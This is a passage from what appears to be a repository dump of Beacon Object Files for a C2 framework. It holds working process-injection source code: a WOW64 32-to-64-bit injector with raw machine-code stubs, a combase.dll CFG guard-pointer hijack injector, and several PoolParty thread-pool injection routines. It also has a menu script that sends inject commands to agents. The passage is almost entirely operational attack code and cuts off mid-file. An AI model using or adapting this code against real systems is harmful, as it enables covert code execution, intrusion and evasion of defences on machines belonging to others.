cmd_inject_32to64]);\nax.register_commands_group(group_exec, [\"beacon\", \"gopher\", \"kharon\"], [\"windows\"], []);\n\n\n\n/// MENU\n\nlet inject_action = menu.create_action(\"Inject shellcode\", function(process_list) {\n    let methods = {\n        \"inject-sec\": \"Injects desired shellcode into target process using section mapping\",\n        \"inject-cfg\": \"Inject shellcode into a target process and hijack execution via overwriting combase.dll!__guard_check_icall_fptr\",\n        \"inject-poolparty\": \"Injects desired shellcode into target process using pool party\",\n        \"inject-32to64\": \"Inject x64 shellcode from WOW64 (32-bit) process into native 64-bit process [requires 32-bit agent] using RtlCreateUserThread\"\n    };\n    let label_shellcode  = form.create_label(\"Shellcode file:\");\n    let text_shellcode   = form.create_textline();\n    let button_shellcode = form.create_button(\"...\");\n\n    let label_method = form.create_label(\"Inject method:\");\n    let combo_method = form.create_combo();\n    combo_method.addItems([\"inject-sec\", \"inject-cfg\", \"inject-poolparty\", \"inject-32to64\"]);\n\n    let label_poolparty_variant = form.create_label(\"Inject method:\");\n    let combo_poolparty_variant = form.create_combo();\n    combo_poolparty_variant.addItems([\"1\", \"2\", \"3\", \"4\", \"5\", \"6\", \"7\"]);\n    label_poolparty_variant.setVisible(false);\n    combo_poolparty_variant.setVisible(false);\n\n    let text_description = form.create_textmulti( methods[\"inject-sec\"] );\n    text_description.setReadOnly(true);\n\n    let layout = form.create_gridlayout();\n    layout.addWidget(label_shellcode,  0, 0, 1, 1);\n    layout.addWidget(text_shellcode,   0, 1, 1, 1);\n    layout.addWidget(button_shellcode, 0, 2, 1, 1);\n    layout.addWidget(label_method,     1, 0, 1, 1);\n    layout.addWidget(combo_method,     1, 1, 1, 2);\n    layout.addWidget(label_poolparty_variant, 2, 0, 1, 1);\n    layout.addWidget(combo_poolparty_variant, 2, 1, 1, 2);\n    layout.addWidget(text_description, 3, 0, 1, 3);\n\n    form.connect(combo_method, \"currentTextChanged\", function(text) {\n        text_description.setText( methods[text] );\n\n        label_poolparty_variant.setVisible(false);\n        combo_poolparty_variant.setVisible(false);\n        if(text == \"inject-poolparty\") {\n            label_poolparty_variant.setVisible(true);\n            combo_poolparty_variant.setVisible(true);\n        }\n    });\n\n    form.connect(button_shellcode, \"clicked\", function() {\n        text_shellcode.setText( ax.prompt_open_file() );\n    });\n\n    let dialog = form.create_dialog(\"Inject shellcode\");\n    dialog.setSize(460, 240);\n    dialog.setLayout(layout);\n    dialog.setButtonsText(\"Inject\", \"Cancel\");\n    while ( dialog.exec() == true )  {\n        let shellcode_path = text_shellcode.text();\n        if(shellcode_path.length == 0) { ax.show_message(\"Error\", \"Shellcode not specified\"); continue; }\n\n        let shellcode_content = ax.file_read(shellcode_path);\n        if(shellcode_content.length == 0) { ax.show_message(\"Error\", `file ${shellcode_path} not readed`); continue; }\n\n        let method  = combo_method.currentText();\n        let variant = combo_poolparty_variant.currentText();\n\n        process_list.forEach((proc) => {\n            if(method == \"inject-poolparty\") {\n                let command = `${method} ${variant} ${proc.pid} ${shellcode_path}`;\n                ax.execute_command(proc.agent_id, command);\n            } else {\n                let command = `${method} ${proc.pid} ${shellcode_path}`;\n                ax.execute_command(proc.agent_id, command);\n            }\n        });\n        break;\n    }\n});\nmenu.add_processbrowser(inject_action, [\"beacon\", \"gopher\", \"kharon\"], [\"windows\"]);"
  },
  {
    "path": "Injection-BOF/inject_32to64/inject_32to64.c",
    "content": "/*\nReferences:\n- https://maldevacademy.com/new/modules/64\n- https://github.com/rapid7/metasploit-framework/blob/master/external/source/shellcode/windows/x86/src/migrate/executex64.asm \n*/\n\n#include <windows.h>\n#include \"beacon.h\"\n\n// Kernel32 Functions\nWINBASEAPI HANDLE WINAPI KERNEL32$OpenProcess(DWORD, BOOL, DWORD);\nWINBASEAPI LPVOID WINAPI KERNEL32$VirtualAllocEx(HANDLE, LPVOID, SIZE_T, DWORD, DWORD);\nWINBASEAPI LPVOID WINAPI KERNEL32$VirtualAlloc(LPVOID, SIZE_T, DWORD, DWORD);\nWINBASEAPI BOOL WINAPI KERNEL32$VirtualFree(LPVOID, SIZE_T, DWORD);\nWINBASEAPI BOOL WINAPI KERNEL32$WriteProcessMemory(HANDLE, LPVOID, LPCVOID, SIZE_T, PSIZE_T);\nWINBASEAPI DWORD WINAPI KERNEL32$ResumeThread(HANDLE);\nWINBASEAPI BOOL WINAPI KERNEL32$CloseHandle(HANDLE);\nWINBASEAPI HANDLE WINAPI KERNEL32$GetCurrentProcess(VOID);\nWINBASEAPI DWORD WINAPI KERNEL32$GetLastError(VOID);\n\nNTSYSAPI NTSTATUS NTAPI NTDLL$NtQueryInformationProcess(HANDLE, ULONG, PVOID, ULONG, PULONG);\n\nWINBASEAPI void * __cdecl MSVCRT$memset(void *, int, size_t);\nWINBASEAPI void * __cdecl MSVCRT$memcpy(void *, const void *, size_t);\n\n#define ProcessWow64Information 26\n\ntypedef struct _WOW64CONTEXT {\n    union {\n        HANDLE hProcess;\n        BYTE   bPadding1[8];\n    } h;\n\n    union {\n        LPVOID lpStartAddress;\n        BYTE   bPadding2[8];\n    } s;\n\n    union {\n        LPVOID lpParameter;\n        BYTE   bPadding3[8];\n    } p;\n\n    union {\n        HANDLE hThread;\n        BYTE   bPadding4[8];\n    } t;\n} WOW64CONTEXT, * PWOW64CONTEXT;\n\ntypedef BOOL(WINAPI* FN_FUNCTION64)(\n    _In_ ULONG Arg\n    );\n\ntypedef ULONG(WINAPI* FN_EXECUTE64)(\n    _In_ FN_FUNCTION64 Function64,\n    _In_ PVOID         Arg\n    );\n\n// code stub that performs a context switch to 64-bit mode\n// in the current Wow64 process to allow execution of x64\n// code and revert back to Wow64 after finishing execution\nstatic unsigned char bExecute64[] = {\n    0x55,0x89,0xE5,0x56,0x57,0x8B,0x75,0x08,0x8B,0x4D,0x0C,0xE8,0x00,0x00,0x00,0x00,\n    0x58,0x83,0xC0,0x2B,0x83,0xEC,0x08,0x89,0xE2,0xC7,0x42,0x04,0x33,0x00,0x00,0x00,\n    0x89,0x02,0xE8,0x0F,0x00,0x00,0x00,0x66,0x8C,0xD8,0x66,0x8E,0xD0,0x83,0xC4,0x14,\n    0x5F,0x5E,0x5D,0xC2,0x08,0x00,0x8B,0x3C,0xE4,0xFF,0x2A,0x48,0x31,0xC0,0x57,0xFF,\n    0xD6,0x5F,0x50,0xC7,0x44,0x24,0x04,0x23,0x00,0x00,0x00,0x89,0x3C,0x24,0xFF,0x2C,\n    0x24\n};\n\n// x64 code stub which is going to create a remote thread\n// in the specified x64 process using RtlCreateUserThread\nstatic unsigned char bFunction64[] = {\n    0xFC,0x48,0x89,0xCE,0x48,0x89,0xE7,0x48,0x83,0xE4,0xF0,0xE8,0xC8,0x00,0x00,0x00,\n    0x41,0x51,0x41,0x50,0x52,0x51,0x56,0x48,0x31,0xD2,0x65,0x48,0x8B,0x52,0x60,0x48,\n    0x8B,0x52,0x18,0x48,0x8B,0x52,0x20,0x48,0x8B,0x72,0x50,0x48,0x0F,0xB7,0x4A,0x4A,\n    0x4D,0x31,0xC9,0x48,0x31,0xC0,0xAC,0x3C,0x61,0x7C,0x02,0x2C,0x20,0x41,0xC1,0xC9,\n    0x0D,0x41,0x01,0xC1,0xE2,0xED,0x52,0x41,0x51,0x48,0x8B,0x52,0x20,0x8B,0x42,0x3C,\n    0x48,0x01,0xD0,0x66,0x81,0x78,0x18,0x0B,0x02,0x75,0x72,0x8B,0x80,0x88,0x00,0x00,\n    0x00,0x48,0x85,0xC0,0x74,0x67,0x48,0x01,0xD0,0x50,0x8B,0x48,0x18,0x44,0x8B,0x40,\n    0x20,0x49,0x01,0xD0,0xE3,0x56,0x48,0xFF,0xC9,0x41,0x8B,0x34,0x88,0x48,0x01,0xD6,\n    0x4D,0x31,0xC9,0x48,0x31,0xC0,0xAC,0x41,0xC1,0xC9,0x0D,0x41,0x01,0xC1,0x38,0xE0,\n    0x75,0xF1,0x4C,0x03,0x4C,0x24,0x08,0x45,0x39,0xD1,0x75,0xD8,0x58,0x44,0x8B,0x40,\n    0x24,0x49,0x01,0xD0,0x66,0x41,0x8B,0x0C,0x48,0x44,0x8B,0x40,0x1C,0x49,0x01,0xD0,\n    0x41,0x8B,0x04,0x88,0x48,0x01,0xD0,0x41,0x58,0x41,0x58,0x5E,0x59,0x5A,0x41,0x58,\n    0x41,0x59,0x41,0x5A,0x48,0x83,0xEC,0x20,0x41,0x52,0xFF,0xE0,0x58,0x41,0x59,0x5A,\n    0x48,0x8B,0x12,0xE9,0x4F,0xFF,0xFF,0xFF,0x5D,0x4D,0x31,0xC9,0x41,0x51,0x48,0x8D,\n    0x46,0x18,0x50,0xFF,0x76,0x10,0xFF,0x76,0x08,0x41,0x51,0x41,0x51,0x49,0xB8,0x01,\n    0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x48,0x31,0xD2,0x48,0x8B,0x0E,0x41,0xBA,0xC8,\n    0x38,0xA4,0x40,0xFF,0xD5,0x48,0x85,0xC0,0x74,0x0C,0x48,0xB8,0x00,0x00,0x00,0x00,\n    0x00,0x00,0x00,0x00,0xEB,0x0A,0x48,0xB8,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,\n    0x48,0x83,0xC4,0x50,0x48,0x89,0xFC,0xC3\n};\n\nBOOL IsProcessWow64(_In_ HANDLE ProcessHandle) {\n    NTSTATUS Status = 0;\n    PVOID pIsWow64 = NULL;\n\n    if (!ProcessHandle) {\n        return FALSE;\n    }\n\n    if ((Status = NTDLL$NtQueryInformationProcess(ProcessHandle, ProcessWow64Information, &pIsWow64, sizeof(PVOID), NULL)) != 0x00) {\n        BeaconPrintf(CALLBACK_ERROR, \"[!] NtQueryInformationProcess Failed With Error: 0x%0.8X\", Status);\n        return FALSE;\n    }\n\n    return pIsWow64 ? TRUE : FALSE;\n}\n\nBOOL Wow64Inject(_In_ ULONG ProcessId, _In_ PVOID ShellcodeBuf, _In_ ULONG ShellcodeLen) {\n    HANDLE        ProcessHandle = NULL;\n    PVOID         VirtualMemory = NULL;\n    PVOID         ExecMem64     = NULL;\n    PVOID         ExecMem32     = NULL;\n    FN_EXECUTE64  FnExecute64   = NULL;\n    FN_FUNCTION64 FnFunction64  = NULL;\n    WOW64CONTEXT  Wow64Ctx      = {0};\n    SIZE_T        Written       = 0;\n    BOOL          Success       = FALSE;\n\n    ProcessHandle = KERNEL32$OpenProcess(PROCESS_ALL_ACCESS, FALSE, ProcessId);\n    if (!ProcessHandle) {\n        BeaconPrintf(CALLBACK_ERROR, \"[-] OpenProcess Failed with Error: %ld\", KERNEL32$GetLastError());\n        goto LEAVE;\n    }\n\n    BeaconPrintf(CALLBACK_OUTPUT, \"[*] Opened process handle to %ld: 0x%p\", ProcessId, ProcessHandle);\n\n    if (IsProcessWow64(ProcessHandle)) {\n        BeaconPrintf(CALLBACK_ERROR, \"[-] Remote process %ld is a Wow64 process\", ProcessId);\n        goto LEAVE;\n    }\n\n    ExecMem32 = KERNEL32$VirtualAlloc(NULL, sizeof(bExecute64), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);\n    if (!ExecMem32) {\n        BeaconPrintf(CALLBACK_ERROR, \"[-] VirtualAlloc failed for bExecute64: %ld\", KERNEL32$GetLastError());\n        return FALSE;\n    }\n\n    MSVCRT$memcpy(ExecMem32, bExecute64, sizeof(bExecute64));\n\n    ExecMem64 = KERNEL32$VirtualAlloc(NULL, sizeof(bFunction64), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);\n    if (!ExecMem64) {\n        BeaconPrintf(CALLBACK_ERROR, \"[-] VirtualAlloc failed for bFunction64: %ld\", KERNEL32$GetLastError());\n        KERNEL32$VirtualFree(ExecMem32, 0, MEM_RELEASE);\n        return FALSE;\n    }\n\n    MSVCRT$memcpy(ExecMem64, bFunction64, sizeof(bFunction64));\n\n    FnExecute64  = (FN_EXECUTE64)ExecMem32;\n    FnFunction64 = (FN_FUNCTION64)ExecMem64;\n    BeaconPrintf(CALLBACK_OUTPUT, \"[*] Process %ld (0x%p) is 64-bit\", ProcessId, ProcessHandle);\n\n    VirtualMemory = KERNEL32$VirtualAllocEx(ProcessHandle, NULL, ShellcodeLen, MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE);\n    if (!VirtualMemory) {\n        BeaconPrintf(CALLBACK_ERROR, \"[-] VirtualAllocEx Failed with Error: %ld\", KERNEL32$GetLastError());\n        goto LEAVE;\n    }\n\n    BeaconPrintf(CALLBACK_OUTPUT, \"[*] Allocated memory @ %p [%ld bytes]\", VirtualMemory, ShellcodeLen);\n\n    if (!KERNEL32$WriteProcessMemory(ProcessHandle, VirtualMemory, ShellcodeBuf, ShellcodeLen, &Written)){\n        BeaconPrintf(CALLBACK_ERROR, \"[-] WriteProcessMemory Failed with Error: %ld\", KERNEL32$GetLastError());\n        goto LEAVE;\n    }\n\n    BeaconPrintf(CALLBACK_OUTPUT, \"[*] Written to memory @ %p [%ld bytes written]\", VirtualMemory, Written);\n\n    MSVCRT$memset(&Wow64Ctx, 0, sizeof(WOW64CONTEXT));\n    Wow64Ctx.h.hProcess       = ProcessHandle;\n    Wow64Ctx.s.lpStartAddress = VirtualMemory;\n    Wow64Ctx.p.lpParameter    = NULL;\n    Wow64Ctx.t.hThread        = NULL;\n\n    // switch the processor to be 64-bit mode and execute\n    if (!FnExecute64(FnFunction64, &Wow64Ctx)) {\n        BeaconPrintf(CALLBACK_ERROR, \"[-] Failed to switch processor context and execute 64-bit stub\");\n        goto LEAVE;\n    }\n\n    if (!Wow64Ctx.t.hThread) {\n        BeaconPrintf(CALLBACK_ERROR, \"[-] Failed to create remote thread under 64-bit mode\");\n        goto LEAVE;\n    }\n\n    // resume thread that has been created in a suspended state from FnFunction64\n    if (KERNEL32$ResumeThread(Wow64Ctx.t.hThread) == (DWORD)-1) {\n        BeaconPrintf(CALLBACK_ERROR, \"[-] ResumeThread Failed with Error: %ld\", KERNEL32$GetLastError());\n        goto LEAVE;\n    }\n\n    BeaconPrintf(CALLBACK_OUTPUT, \"[+] Successfully injected thread (0x%p)\", Wow64Ctx.t.hThread);\n\n    Success = TRUE;\n\nLEAVE:\n    if (Wow64Ctx.t.hThread) {\n        KERNEL32$CloseHandle(Wow64Ctx.t.hThread);\n    }\n    if (ProcessHandle) {\n        KERNEL32$CloseHandle(ProcessHandle);\n        ProcessHandle = NULL;\n    }\n    if (ExecMem32) {\n        KERNEL32$VirtualFree(ExecMem32, 0, MEM_RELEASE);\n    }\n    if (ExecMem64) {\n        KERNEL32$VirtualFree(ExecMem64, 0, MEM_RELEASE);\n    }\n\n    return Success;\n}\n\nvoid go(char * args, int len) {\n    datap parser;\n    BeaconDataParse(&parser, args, len);\n\n    DWORD procID = BeaconDataInt(&parser);\n    int shellcodeSize = 0;\n    CHAR* shellcode = BeaconDataExtract(&parser, &shellcodeSize);\n\n    BeaconPrintf(CALLBACK_OUTPUT, \"[*] Target PID: %d\", procID);\n    BeaconPrintf(CALLBACK_OUTPUT, \"[*] Shellcode Size: %d bytes\", shellcodeSize);\n\n    if (!Wow64Inject(procID, shellcode, (ULONG)shellcodeSize)) {\n        BeaconPrintf(CALLBACK_ERROR, \"[-] Failed to inject into %ld\", procID);\n        return;\n    }\n\n    BeaconPrintf(CALLBACK_OUTPUT, \"[+] Injection completed successfully\");\n}\n\n"
  },
  {
    "path": "Injection-BOF/inject_cfg/inject_cfg.c",
    "content": "#include <windows.h>\n#include \"beacon.h\"\n\n//\n// Macros (I hate typing BeaconPrintf)\n//\n#define LOG_INFO(fmt, ...) ( BeaconPrintf(CALLBACK_OUTPUT, fmt, ##__VA_ARGS__) )\n#define LOG_ERROR(fmt, ...) ( BeaconPrintf(CALLBACK_ERROR, fmt, ##__VA_ARGS__) )\n\n//\n// Prototypes\n//\nWINBASEAPI INT __cdecl MSVCRT$memcmp(const void *_Buf1, const void *_Buf2, size_t _Size);\nWINBASEAPI void *__cdecl MSVCRT$memcpy(void *_Dst, const void *_Src, size_t _MaxCount);\nWINBASEAPI WINBOOL WINAPI KERNEL32$CloseHandle(HANDLE hObject);\nWINBASEAPI HMODULE WINAPI KERNEL32$GetModuleHandleA(LPCSTR lpProcName);\nWINBASEAPI FARPROC WINAPI KERNEL32$GetProcAddress(HMODULE hModule, LPCSTR lpProcName);\nWINBASEAPI HMODULE WINAPI KERNEL32$LoadLibraryA(LPCSTR lpLibFileName);\nWINBASEAPI HANDLE WINAPI KERNEL32$OpenProcess(DWORD dwDesiredAccess, WINBOOL bInheritHandle, DWORD dwProcessId);\nWINBASEAPI LPVOID WINAPI KERNEL32$VirtualAllocEx(HANDLE hProcess, LPVOID lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect);\nWINBASEAPI BOOL WINAPI KERNEL32$VirtualProtectEx(HANDLE hProcess, LPVOID lpAddress, SIZE_T dwSize, DWORD flNewProtect, PDWORD lpflOldProtect);\nWINBASEAPI BOOL WINAPI KERNEL32$WriteProcessMemory(HANDLE hProcess, LPVOID lpBaseAddress, LPCVOID lpBuffer, SIZE_T nSize, SIZE_T *lpNumberOfBytesWritten);\nNTSYSAPI SIZE_T NTAPI NTDLL$RtlCompareMemory(const VOID *Source1, const VOID *Source2, SIZE_T Length);\n\nPVOID EggHunt(_In_ PVOID RegionStart, _In_ SIZE_T RegionLength, _In_ PVOID Egg, _In_ SIZE_T EggLength);\nvoid go(char *args, int alen);\n\n\n//\n// Search a region of memory for an egg. Returns NULL on failure.\n//\nPVOID EggHunt(_In_ PVOID RegionStart, _In_ SIZE_T RegionLength, _In_ PVOID Egg, _In_ SIZE_T EggLength)\n{\n    if (!RegionStart || !RegionLength || !Egg || !EggLength)\n        return NULL;\n\n    for (CHAR* pchar = (CHAR*)RegionStart; RegionLength >= EggLength; ++pchar, --RegionLength)\n    {\n        if (MSVCRT$memcmp(pchar, Egg, EggLength) == 0)\n            return pchar;\n    }\n    return NULL;\n}\n\nvoid go(char *args, int alen)\n{\n    // param vars\n    datap parser;\n    INT pid;\n    CHAR* shellcode;\n    INT shellcode_len;\n\n    // other vars\n    HMODULE combase;\n    FARPROC NdrProxyForwardingFunction13;\n    BYTE egg[] = {\n        0x4c, 0x8b, 0x11,\n        0x49, 0x8b, 0x4a, 0x68,\n        0xff, 0x15\n    };\n    BYTE* egg_start;\n    BYTE* egg_end;\n    DWORD offset;\n    FARPROC* __guard_check_icall_fptr;\n    HANDLE process = INVALID_HANDLE_VALUE;\n    PVOID base_address;\n    BYTE stub[] = {\n        0x41,0x54,0x53,0x48,0x83,0xec,0x58,0x50,0x57,0x51,0x57,0x56,0x41,0x50,0x41,0x51,0x41,0x52,0x41,0x53,0x41,0x54,0x41,0x55,0x4c,0x8d,0x4c,0x24,0x4c,0xc7,0x44,0x24,0x4c,0x00,0x00,0x00,0x00,0xba,0x08,0x00,0x00,0x00,\n        0x49,0xbc,\n        0x33,0x33,0x33,0x33,0x33,0x33,0x33,0x33,\n        0x4c,0x89,0x4c,0x24,0x38,0x4c,0x89,0xe1,0x41,0xb8,0x04,0x00,0x00,0x00,0x48,0xbb,0x11,0x11,0x11,0x11,0x11,0x11,0x11,0x11,0xff,0xd3,0x4c,0x8b,0x4c,0x24,0x38,0x44,0x8b,0x44,0x24,0x4c,0x4c,0x89,0xe1,0x48,0xb8,0x44,0x44,0x44,0x44,0x44,0x44,0x44,0x44,0xba,0x08,0x00,0x00,0x00,0x49,0x89,0x04,0x24,0xff,0xd3,0xc7,0x44,0x24,0x20,0x00,0x00,0x00,0x00,0x45,0x31,0xc9,0x31,0xd2,0x48,0xc7,0x44,0x24,0x28,0x00,0x00,0x00,0x00,0x31,0xc9,0x49,0xb8,0x55,0x55,0x55,0x55,0x55,0x55,0x55,0x55,0x48,0xb8,0x22,0x22,0x22,0x22,0x22,0x22,0x22,0x22,0xff,0xd0,0x58,0x5f,0x59,0x5f,0x5e,0x41,0x58,0x41,0x59,0x41,0x5a,0x41,0x5b,0x41,0x5c,0x41,0x5d,0x48,0x83,0xc4,0x58,0x5b,0x41,0x5c,0xc3\n    };\n    SIZE_T bytes_written;\n    HMODULE kernel32;\n    FARPROC _VirtualProtect;\n    FARPROC _CreateThread;\n    BYTE* shellcode_address;\n    DWORD old_prot;\n\n    //\n    // Parse command line arguments\n    //\n    BeaconDataParse(&parser, args, alen);\n    pid = BeaconDataInt(&parser);\n    shellcode = BeaconDataExtract(&parser, &shellcode_len);\n\n    //\n    // Resolve combase.dll!NdrProxyForwardingFunction13\n    //\n    combase = KERNEL32$LoadLibraryA(\"combase.dll\");\n    if (combase == NULL)\n    {\n        LOG_ERROR(\"Failed to load/resolve combase.dll via Kernel32!LoadLibraryA\");\n        return;\n    }\n\n    NdrProxyForwardingFunction13 = KERNEL32$GetProcAddress(combase, \"NdrProxyForwardingFunction13\");\n    if (NdrProxyForwardingFunction13 == NULL)\n    {\n        LOG_ERROR(\"Failed to resolve combase.dll!NdrProxyForwardingFunction13 via Kernel32!GetProcAddress\");\n        return;\n    }\n\n    //\n    // Egghunt for \"call qword [rel __guard_check_icall_fptr]\" instruction.\n    //\n    // mov     r10, qword [rcx]\n    // mov     rcx, qword [r10+0x68]\n    // call    qword [rel __guard_check_icall_fptr]  {_guard_check_icall_nop}\n    // next 4 bytes are the offset\n    egg_start = (BYTE*)EggHunt(NdrProxyForwardingFunction13, 256, egg, sizeof(egg));\n    if (egg_start == NULL)\n    {\n        LOG_ERROR(\"Failed to locate __guard_check_icall_fptr call offset @ combase.dll!NdrProxyForwardingFunction13\");\n        return;\n    }\n    egg_end = egg_start + sizeof(egg);\n\n    //\n    // Get the offset to __guard_check_icall_fptr located at the end of the egg.\n    //\n    offset = *(DWORD*)egg_end;\n\n    //\n    // Resolve __guard_check_icall_fptr and subsequently _guard_check_icall_nop using offset.\n    //\n    __guard_check_icall_fptr = (FARPROC*)(egg_end + offset + sizeof(DWORD));\n\n    //\n    // Check that the pointer is correct\n    // note: likely worth checking whether __guard_check_icall_fptr is within the .rdata section of combase.dll before dereferencing.\n    // note2: compiler somehow decides this is always hit?\n    //if (*(BYTE*)orig_guard_check_icall_nop != '\\xc2')\n    //{\n    //    LOG_ERROR(\"Failed to resolve combase.dll!__guard_check_icall_fptr\");\n    //    return;\n    //}\n\n    //\n    // Open handle to target process\n    //\n    process = KERNEL32$OpenProcess(PROCESS_ALL_ACCESS, FALSE, (DWORD)pid);\n    if (process == NULL)\n    {\n        LOG_ERROR(\"Failed to open handle to target process (pid: %d). Are you sure it is correct?\", pid);\n        return;\n    }\n\n    //\n    // Allocate memory for shellcode\n    // TODO: use something more stealthy than VirtualAllocEx->WriteProcessMemory\n    //\n    base_address = KERNEL32$VirtualAllocEx(process, NULL, shellcode_len + 0xc0, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);\n    if (base_address == NULL)\n    {\n        LOG_ERROR(\"Failed to allocate memory for shellcode in target process via Kernel32!VirtualAllocEx\");\n        goto CLEANUP;\n    }\n\n    //\n    // Modify placeholder values in shellcode stub.\n    //\n    kernel32 = KERNEL32$GetModuleHandleA(\"KERNEL32.DLL\");\n    _VirtualProtect = KERNEL32$GetProcAddress(kernel32, \"VirtualProtect\");\n    _CreateThread = KERNEL32$GetProcAddress(kernel32, \"CreateThread\");\n    shellcode_address = base_address + 0xc0;\n    MSVCRT$memcpy(stub + 44, &__guard_check_icall_fptr, sizeof(FARPROC*));\n    MSVCRT$memcpy(stub + 68, &_VirtualProtect, sizeof(FARPROC));\n    MSVCRT$memcpy(stub + 93, __guard_check_icall_fptr, sizeof(FARPROC));\n    MSVCRT$memcpy(stub + 138, &shellcode_address, sizeof(FARPROC));\n    MSVCRT$memcpy(stub + 148, &_CreateThread, sizeof(FARPROC));\n\n    //\n    // Write stub & shellcode to allocated memory and change protections from RW -> RX\n    // TODO: like before, this could be stealthier (e.g. using a code cave)\n    //\n    if (!KERNEL32$WriteProcessMemory(process, base_address, stub, sizeof(stub), &bytes_written))\n    {\n        if (bytes_written < sizeof(stub))\n        {\n            LOG_ERROR(\"Kernel32!WriteProcessMemory performed only a partial shellcode stub write. Stopping to prevent crashes.\");\n            goto CLEANUP;\n        }\n        LOG_ERROR(\"Failed to write shellcode stub to target process memory via Kernel32!WriteProcessMemory. Perhaps the process closed?\");\n        goto CLEANUP;\n    }\n\n    if (!KERNEL32$WriteProcessMemory(process, shellcode_address, shellcode, shellcode_len, &bytes_written))\n    {\n        if (bytes_written < shellcode_len)\n        {\n            LOG_ERROR(\"Kernel32!WriteProcessMemory performed only a partial shellcode write. Stopping to prevent crashes.\");\n            goto CLEANUP;\n        }\n        LOG_ERROR(\"Failed to write shellcode to target process memory via Kernel32!WriteProcessMemory. Perhaps the process closed?\");\n        goto CLEANUP;\n    }\n    \n    if (!KERNEL32$VirtualProtectEx(process, base_address, shellcode_len + 0xc0, PAGE_EXECUTE_READ, &old_prot))\n    {\n        LOG_ERROR(\"Failed to change allocated shellcode memory permissions from RW->RX via Kernel32!VirtualProtectEx\");\n        goto CLEANUP;\n    }\n\n    //\n    // Overwrite __guard_check_icall_fptr with shellcode pointer.\n    //\n    if (!KERNEL32$VirtualProtectEx(process, __guard_check_icall_fptr, sizeof(FARPROC), PAGE_READWRITE, &old_prot))\n    {\n        LOG_ERROR(\"Failed to change combase.dll!.rdata memory permissions from R->RW via Kernel32!VirtualProtectEx\");\n        goto CLEANUP;\n    }\n\n    if (!KERNEL32$WriteProcessMemory(process, __guard_check_icall_fptr, &base_address, sizeof(PVOID), &bytes_written))\n    {\n        if (bytes_written < shellcode_len)\n        {\n            LOG_ERROR(\"Kernel32!WriteProcessMemory performed only a partial pointer write. Stopping to prevent crashes.\");\n            goto CLEANUP;\n        }\n        LOG_ERROR(\"Failed to overwrite combase.dll!__guard_check_icall_fptr with shellcode pointer via Kernel32!WriteProcessMemory. Perhaps the process closed?\");\n        goto CLEANUP;\n    }\n    LOG_INFO(\"Successfully overwritten combase.dll!__guard_check_icall_fptr. Now to wait for a shell :)\");\n\n    if (!KERNEL32$VirtualProtectEx(process, __guard_check_icall_fptr, sizeof(FARPROC), old_prot, &old_prot))\n    {\n        LOG_ERROR(\"Failed to restore combase.dll!.rdata memory permissions from RW->R via Kernel32!VirtualProtectEx\");\n        goto CLEANUP;\n    }\n    \nCLEANUP:\n    KERNEL32$CloseHandle(process);\n}"
  },
  {
    "path": "Injection-BOF/inject_poolparty/1.h",
    "content": "#include \"PoolParty.h\"\n\nvoid WorkerFactoryStartRoutineOverwrite(HANDLE hTarget, CHAR* shellcode, SIZE_T shellcodeSize) {\n    _NtWriteVirtualMemory NtWriteVirtualMemory = (_NtWriteVirtualMemory)(GetProcAddress(GetModuleHandleA(\"ntdll.dll\"), \"NtWriteVirtualMemory\"));\n    _NtSetInformationWorkerFactory NtSetInformationWorkerFactory = (_NtSetInformationWorkerFactory)(GetProcAddress(GetModuleHandleA(\"ntdll.dll\"), \"NtSetInformationWorkerFactory\"));\n\n    WORKER_FACTORY_BASIC_INFORMATION WorkerFactoryInformation = GetWorkerFactoryBasicInformation();\n\n    DWORD dwOldProtect = NULL;\n    KERNEL32$VirtualProtectEx(hTarget, WorkerFactoryInformation.StartRoutine, shellcodeSize, PAGE_READWRITE, &dwOldProtect);\n\n    NTSTATUS Ntstatus = NtWriteVirtualMemory(hTarget, WorkerFactoryInformation.StartRoutine, shellcode, shellcodeSize, NULL);\n    KERNEL32$VirtualProtectEx(hTarget, WorkerFactoryInformation.StartRoutine, shellcodeSize, dwOldProtect, &dwOldProtect);\n    ULONG WorkerFactoryMinimumThreadNumber = WorkerFactoryInformation.TotalWorkerCount + 1;\n\n    Ntstatus = NtSetInformationWorkerFactory(hTpWorkerFactory, WorkerFactoryThreadMinimum, &WorkerFactoryMinimumThreadNumber, sizeof(ULONG));\n\n}\n\nvoid Inject1(DWORD dwTargetProcessId, CHAR* shellcode, SIZE_T shellcodeSize) {\n    HANDLE hTarget = NULL;\n    hTarget = KERNEL32$OpenProcess(PROCESS_VM_READ | PROCESS_VM_WRITE | PROCESS_VM_OPERATION | PROCESS_DUP_HANDLE | PROCESS_QUERY_INFORMATION, FALSE, dwTargetProcessId);\n\n    if (hTarget) {\n        HijackTpWorkerFactoryHandle(hTarget, WORKER_FACTORY_ALL_ACCESS);\n        WorkerFactoryStartRoutineOverwrite(hTarget, shellcode, shellcodeSize);\n    } else {\n          BeaconPrintf(CALLBACK_OUTPUT, \"PID %d inaccessible\", dwTargetProcessId);\n      }\n}\n"
  },
  {
    "path": "Injection-BOF/inject_poolparty/2.h",
    "content": "#include \"PoolParty.h\"\n\nvoid RemoteTpWorkInsertion(HANDLE hTarget, PVOID pShellcodeAddress) {\n    _NtWriteVirtualMemory NtWriteVirtualMemory = (_NtWriteVirtualMemory)(GetProcAddress(GetModuleHandleA(\"ntdll.dll\"), \"NtWriteVirtualMemory\"));\n    \n    WORKER_FACTORY_BASIC_INFORMATION WorkerFactoryInformation = GetWorkerFactoryBasicInformation();\n    \n    PFULL_TP_POOL TargetTpPool = NULL;\n    TargetTpPool = (PFULL_TP_POOL)MSVCRT$calloc(1, sizeof(PFULL_TP_POOL));\n    SIZE_T stBytesRead = 0;\n    KERNEL32$ReadProcessMemory(hTarget, WorkerFactoryInformation.StartParameter, TargetTpPool, sizeof(FULL_TP_POOL), &stBytesRead);\n\n    PTPP_QUEUE TargetTaskQueueHighPriorityList = &TargetTpPool->TaskQueue[TP_CALLBACK_PRIORITY_HIGH]->Queue;\n    \n    PFULL_TP_WORK pTpWork = KERNEL32$CreateThreadpoolWork((PTP_WORK_CALLBACK)pShellcodeAddress, NULL, NULL);\n    pTpWork->CleanupGroupMember.Pool = (PFULL_TP_POOL)(WorkerFactoryInformation.StartParameter);\n    